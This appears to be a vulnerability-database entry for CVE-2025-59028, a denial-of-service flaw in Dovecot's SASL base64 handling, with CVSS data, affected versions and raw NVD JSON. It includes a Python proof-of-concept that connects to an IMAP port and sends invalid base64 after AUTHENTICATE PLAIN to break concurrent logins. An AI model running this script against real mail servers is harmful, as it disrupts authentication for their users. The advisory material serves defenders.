Security Vulnerability Report
中文
CVE-2025-59028 CVSS 5.3 MEDIUM

CVE-2025-59028

Published: 2026-03-27 09:16:19
Last Modified: 2026-04-30 17:50:06

Description

When sending invalid base64 SASL data, login process is disconnected from the auth server, causing all active authentication sessions to fail. Invalid BASE64 data can be used to DoS a vulnerable server to break concurrent logins. Install fixed version or disable concurrency in login processes (heavy perfomance penalty on large deployments). No publicly available exploits are known.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:* - VULNERABLE
请参考官方安全公告 oxdc-adv-2026-0001

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time # PoC for CVE-2025-59028: Dovecot SASL Base64 DoS # This script sends invalid Base64 data to trigger the disconnect. TARGET_IP = "192.168.1.100" TARGET_PORT = 143 # IMAP Port def send_invalid_base64(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # Receive server banner banner = s.recv(1024) print(f"[+] Banner: {banner.decode().strip()}") # Attempt to authenticate using PLAIN mechanism # Sending AUTHENTICATE command s.send(b"A001 AUTHENTICATE PLAIN\r\n") resp = s.recv(1024) print(f"[+] Server response: {resp.decode().strip()}") # Send invalid Base64 data (e.g., '!!!' is not valid Base64) # This should trigger the vulnerability payload = b"!!!" print(f"[*] Sending invalid payload: {payload}") s.send(payload + b"\r\n") # Check response or timeout try: final_resp = s.recv(1024) print(f"[+] Final response: {final_resp.decode().strip()}") except socket.timeout: print("[!] Connection timed out (possible DoS)") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_invalid_base64()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59028", "sourceIdentifier": "[email protected]", "published": "2026-03-27T09:16:18.620", "lastModified": "2026-04-30T17:50:06.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When sending invalid base64 SASL data, login process is disconnected from the auth server, causing all active authentication sessions to fail. Invalid BASE64 data can be used to DoS a vulnerable server to break concurrent logins. Install fixed version or disable concurrency in login processes (heavy perfomance penalty on large deployments). No publicly available exploits are known."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.3", "matchCriteriaId": "BE209329-C5EA-4EE7-A23E-CD2EC061A9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionEndExcluding": "3.1.2", "matchCriteriaId": "505B0ADE-3E31-453F-BDCE-A3CEF12F2482"}]}]}], "references": [{"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}